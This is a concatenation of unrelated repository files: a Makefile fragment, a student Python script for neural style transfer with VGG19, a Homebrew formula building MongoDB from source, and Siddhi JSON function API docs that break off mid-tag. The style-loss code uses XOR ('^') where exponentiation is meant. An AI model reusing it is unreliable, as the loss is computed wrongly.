$(DESTINATION)/$(LIBRARY_NAME) .PHONY: clean clean: rm -f $(LIBRARY_NAME)
4a9a6177018e541181e7599fc3d4d6542a2a687e
[ "Markdown", "Makefile", "Swift" ]
3
Markdown
sathishdsgithub/pam_touchid
3b2a27c4967042dc17791097a06769b35372379b
cef2f9e8b6e36acc4cc1aec02edd958e10de6485
refs/heads/master
<file_sep>import os import sys import numpy as np import tensorflow as tf from tensorflow import keras import tensorflow.keras.backend as K import random from skimage.transform import resize import imageio # https://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.fmin_l_bfgs_b.html from scipy.optimize import fmin_l_bfgs_b from tensorflow.keras.applications import vgg19 from tensorflow.keras.preprocessing.image import load_img, img_to_array import warnings random.seed(1618) np.random.seed(1618) # tf.set_random_seed(1618) # Uncomment for TF1. tf.random.set_seed(1618) tf.compat.v1.disable_eager_execution() # tf.logging.set_verbosity(tf.logging.ERROR) # Uncomment for TF1. os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' CONTENT_IMG_PATH = sys.argv[1] STYLE_IMG_PATH = sys.argv[2] CONTENT_IMG_H = 500 CONTENT_IMG_W = 500 STYLE_IMG_H = 500 STYLE_IMG_W = 500 CONTENT_WEIGHT = 0.025 STYLE_WEIGHT = 1.0 TOTAL_WEIGHT = 8.5e-5 TRANSFER_ROUNDS = 20 # =============================<Helper Fuctions>================================= ''' TODO: implement this. This function should take the tensor and re-convert it to an image. ''' def deprocessImage(img): # subtracting mean RGB values (got it from google) and reversing order of R, G and B. img = img.reshape((CONTENT_IMG_H, CONTENT_IMG_W, 3)) img[:, :, 0] += 103.939 img[:, :, 1] += 116.779 img[:, :, 2] += 123.68 img = img[:, :, ::-1] img = np.clip(img, 0, 255).astype("uint8") return img def gramMatrix(x): features = K.batch_flatten(K.permute_dimensions(x, (2, 0, 1))) gram = K.dot(features, K.transpose(features)) return gram # ========================<Loss Function Builder Functions>====================== def styleLoss(style, gen): filter_num = 3 k_sum = K.sum(K.square(gramMatrix(style) - gramMatrix(gen))) return k_sum / (4.0 * (filter_num ^ 2) * ((STYLE_IMG_H * STYLE_IMG_W) ^ 2)) def contentLoss(content, gen): return K.sum(K.square(gen - content)) def totalLoss(x): a = tf.square( x[:, : CONTENT_IMG_W - 1, : CONTENT_IMG_H - 1, :] - x[:, 1:, : CONTENT_IMG_H - 1, :] ) b = tf.square( x[:, : CONTENT_IMG_W - 1, : CONTENT_IMG_H - 1, :] - x[:, : CONTENT_IMG_W - 1, 1:, :] ) # point of this function is to serve as a variation loss function. Keeps the generated image coherent (style transfer applies equally across the image). https://keras.io/examples/generative/neural_style_transfer/ return K.sum(K.pow(a+b, 1.25)) def loss_grads_ret(x, func): x = x.reshape((1, CONTENT_IMG_H, CONTENT_IMG_H, 3)) outs = func([x]) loss = outs[0] grad = outs[1].flatten().astype('float64') return loss, grad class eval(object): def __init__(self, func): self.loss_arr = None self.grad_arr = None self.func = func def loss(self, x): loss_val, grad_val = loss_grads_ret(x, self.func) self.loss_arr = loss_val self.grad_arr = grad_val return self.loss_arr def grads(self, x): return self.grad_arr # =========================<Pipeline Functions>================================== def getRawData(): print(" Loading images.") print(" Content image URL: \"%s\"." % CONTENT_IMG_PATH) print(" Style image URL: \"%s\"." % STYLE_IMG_PATH) cImg = load_img(CONTENT_IMG_PATH) tImg = cImg.copy() sImg = load_img(STYLE_IMG_PATH) print(" Images have been loaded.") return ((cImg, CONTENT_IMG_H, CONTENT_IMG_W), (sImg, STYLE_IMG_H, STYLE_IMG_W), (tImg, CONTENT_IMG_H, CONTENT_IMG_W)) def preprocessData(raw): img, ih, iw = raw img = img_to_array(img) with warnings.catch_warnings(): warnings.simplefilter("ignore") img = resize(img, (ih, iw, 3)) img = img.astype("float64") img = np.expand_dims(img, axis=0) img = vgg19.preprocess_input(img) return img ''' TODO: Allot of stuff needs to be implemented in this function. First, make sure the model is set up properly. Then construct the loss function (from content and style loss). Gradient functions will also need to be created, or you can use K.Gradients(). Finally, do the style transfer with gradient descent. Save the newly generated and deprocessed images. ''' def styleTransfer(cData, sData, tData): print(" Building transfer model.") contentTensor = K.variable(cData) styleTensor = K.variable(sData) genTensor = K.placeholder((1, CONTENT_IMG_H, CONTENT_IMG_W, 3)) inputTensor = K.concatenate( [contentTensor, styleTensor, genTensor], axis=0) model = vgg19.VGG19(weights="imagenet", include_top=False, input_tensor=inputTensor) outputDict = dict([(layer.name, layer.output) for layer in model.layers]) print(" VGG19 model loaded.") loss = 0.0 styleLayerNames = ["block1_conv1", "block2_conv1", "block3_conv1", "block4_conv1", "block5_conv1"] contentLayerName = "block5_conv2" print(" Calculating content loss.") contentLayer = outputDict[contentLayerName] contentOutput = contentLayer[0, :, :, :] genOutput = contentLayer[2, :, :, :] loss += CONTENT_WEIGHT * contentLoss(contentOutput, genOutput) print(" Calculating style loss.") for layerName in styleLayerNames: l_features = outputDict[layerName] sr_features = l_features[1, :, :, :] comb_features = l_features[2, :, :, :] s_loss = styleLoss(sr_features, comb_features) loss += (STYLE_WEIGHT / len(styleLayerNames)) * s_loss loss += totalLoss(genTensor) * TOTAL_WEIGHT out = [loss] gradients = K.gradients(loss, genTensor)[0] if isinstance(gradients, (list, tuple)): out += gradients else: out.append(gradients) func = K.function([genTensor], out) r_data = tData eval_obj = eval(func) print(" Beginning transfer.") for i in range(TRANSFER_ROUNDS): print(" Step %d." % i) r_data, tLoss, i = fmin_l_bfgs_b( eval_obj.loss, r_data.flatten(), fprime=eval_obj.grads, maxfun=25) print(" Loss: %f." % tLoss) img = deprocessImage(r_data.copy()) f_path = "transferred_im.png" imageio.imwrite(f_path, img) print(" Image saved to \"%s\"." % f_path) print(" Transfer complete.") # =========================<Main>================================================ def main(): print("Starting style transfer program.") raw = getRawData() cData = preprocessData(raw[0]) # Content image. sData = preprocessData(raw[1]) # Style image. tData = preprocessData(raw[2]) # Transfer image. styleTransfer(cData, sData, tData) print("Done. Goodbye.") if __name__ == "__main__": main()
16ad03469963c31d3e639a20ae3fe63ec621bdf3
[ "Python" ]
1
Python
Vishisht182/CS390_Lab3
7ef808ac6024ece9d223215b0d236e73fc0d59bb
6b0e7e6b44cdb968a8c67329ea148f824094d7db
refs/heads/master
<file_sep>require 'formula' class MongodbSrc < Formula homepage 'http://www.mongodb.org' url 'http://downloads.mongodb.org/src/mongodb-src-r2.2.0.tar.gz' sha1 'bdf414c3a71386f1bf7b6df8da72400abe434ebe' version '2.2.0' depends_on 'boost' depends_on 'pcre' depends_on 'spidermonkey' depends_on 'snappy' def install system "scons --prefix=#{prefix} --ssl all" system "scons --prefix=#{prefix} --ssl install" end def test mongod end end <file_sep># mongodb-src-formula Builds mongodb with SSL support on Mac OS X. (long compile time)
fe0155654ee4baaeaf4a614540738ffb53dc3449
[ "Markdown", "Ruby" ]
2
Ruby
AshHeskes/mongodb-src-formula
d19e51dece561b8ddf9a202d8d35b9f949f41adc
24d6a12276265ef8a5ab3f71fa64158018787873
refs/heads/master
<file_sep># API Docs - v2.0.6 !!! Info "Tested Siddhi Core version: *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/">5.1.13</a>*" It could also support other Siddhi Core minor versions. ## Json ### group *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#aggregate-function">(Aggregate Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">This function aggregates the JSON elements and returns a JSON object by adding enclosing.element if it is provided. If enclosing.element is not provided it aggregate the JSON elements returns a JSON array.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:group(<STRING|OBJECT> json) <OBJECT> json:group(<STRING|OBJECT> json, <BOOL> distinct) <OBJECT> json:group(<STRING|OBJECT> json, <STRING> enclosing.element) <OBJECT> json:group(<STRING|OBJECT> json, <STRING> enclosing.element, <BOOL> distinct) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON element that needs to be aggregated.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">enclosing.element</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON element used to enclose the aggregated JSON elements.</p></td> <td style="vertical-align: top">EMPTY_STRING</td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">distinct</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">This is used to only have distinct JSON elements in the concatenated JSON object/array that is returned.</p></td> <td style="vertical-align: top">false</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` from InputStream#window.length(5) select json:group("json") as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"12:20"}</code>, it returns <code>[{"date":"2013-11-19","time":"10:30"}{"date":"2013-11-19","time":"12:20"}]</code> to the 'OutputStream'.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` from InputStream#window.length(5) select json:group("json", true) as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"10:30"}</code>, it returns <code>[{"date":"2013-11-19","time":"10:30"}]</code> to the 'OutputStream'.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` from InputStream#window.length(5) select json:group("json", "result") as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"12:20"}</code>, it returns <code>{"result":[{"date":"2013-11-19","time":"10:30"},{"date":"2013-11-19","time":"12:20"}}</code> to the 'OutputStream'.</p> <p></p> <span id="example-4" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 4</span> ``` from InputStream#window.length(5) select json:group("json", "result", true) as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"10:30"}</code>, it returns <code>{"result":[{"date":"2013-11-19","time":"10:30"}]}</code> to the 'OutputStream'.</p> <p></p> ### groupAsObject *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#aggregate-function">(Aggregate Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">This function aggregates the JSON elements and returns a JSON object by adding enclosing.element if it is provided. If enclosing.element is not provided it aggregate the JSON elements returns a JSON array.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:groupAsObject(<STRING|OBJECT> json) <OBJECT> json:groupAsObject(<STRING|OBJECT> json, <BOOL> distinct) <OBJECT> json:groupAsObject(<STRING|OBJECT> json, <STRING> enclosing.element) <OBJECT> json:groupAsObject(<STRING|OBJECT> json, <STRING> enclosing.element, <BOOL> distinct) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON element that needs to be aggregated.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">enclosing.element</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON element used to enclose the aggregated JSON elements.</p></td> <td style="vertical-align: top">EMPTY_STRING</td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">distinct</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">This is used to only have distinct JSON elements in the concatenated JSON object/array that is returned.</p></td> <td style="vertical-align: top">false</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` from InputStream#window.length(5) select json:groupAsObject("json") as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"12:20"}</code>, it returns <code>[{"date":"2013-11-19","time":"10:30"}{"date":"2013-11-19","time":"12:20"}]</code> to the 'OutputStream'.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` from InputStream#window.length(5) select json:groupAsObject("json", true) as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"10:30"}</code>, it returns <code>[{"date":"2013-11-19","time":"10:30"}]</code> to the 'OutputStream'.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` from InputStream#window.length(5) select json:groupAsObject("json", "result") as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"12:20"}</code>, it returns <code>{"result":[{"date":"2013-11-19","time":"10:30"},{"date":"2013-11-19","time":"12:20"}}</code> to the 'OutputStream'.</p> <p></p> <span id="example-4" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 4</span> ``` from InputStream#window.length(5) select json:groupAsObject("json", "result", true) as groupedJSONArray input OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">When we input events having values for the <code>json</code> as <code>{"date":"2013-11-19","time":"10:30"}</code> and <code>{"date":"2013-11-19","time":"10:30"}</code>, it returns <code>{"result":[{"date":"2013-11-19","time":"10:30"}]}</code> to the 'OutputStream'.</p> <p></p> ### getBool *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function retrieves the 'boolean' value specified in the given path of the JSON element.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <BOOL> json:getBool(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input containing boolean value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to fetch the boolean value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:getBool(json,'$.married') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'married' : true}</code>, the function returns <code>true</code> as there is a matching boolean at <code>$.married</code>.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:getBool(json,'$.name') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'married' : true}</code>, the function returns <code>null</code> as there is no matching boolean at <code>$.name</code>.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:getBool(json,'$.foo') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'married' : true}</code>, the function returns <code>null</code> as there is no matching element at <code>$.foo</code>.</p> <p></p> ### getDouble *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function retrieves the 'double' value specified in the given path of the JSON element.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <DOUBLE> json:getDouble(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input containing double value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to fetch the double value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:getDouble(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'salary' : 12000.0}</code>, the function returns <code>12000.0</code> as there is a matching double at <code>$.salary</code>.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:getDouble(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching element at <code>$.salary</code>.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:getDouble(json,'$.name') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching double at <code>$.name</code>.</p> <p></p> ### getFloat *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function retrieves the 'float' value specified in the given path of the JSON element.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <FLOAT> json:getFloat(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input containing float value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to fetch the float value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:getFloat(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'salary' : 12000.0}</code>, the function returns <code>12000</code> as there is a matching float at <code>$.salary</code>.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:getFloat(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching element at <code>$.salary</code>.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:getFloat(json,'$.name') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching float at <code>$.name</code>.</p> <p></p> ### getInt *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function retrieves the 'int' value specified in the given path of the JSON element.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <INT> json:getInt(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input containing int value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to fetch the int value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:getInt(json,'$.age') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>23</code> as there is a matching int at <code>$.age</code>.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:getInt(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching element at <code>$.salary</code>.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:getInt(json,'$.name') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching int at <code>$.name</code>.</p> <p></p> ### getLong *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function retrieves the 'long' value specified in the given path of the JSON element.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <LONG> json:getLong(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input containing long value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to fetch the long value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:getLong(json,'$.age') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>23</code> as there is a matching long at <code>$.age</code>.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:getLong(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching element at <code>$.salary</code>.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:getLong(json,'$.name') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching long at <code>$.name</code>.</p> <p></p> ### getObject *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function retrieves the object specified in the given path of the JSON element.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:getObject(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input containing the object.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to fetch the object.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" 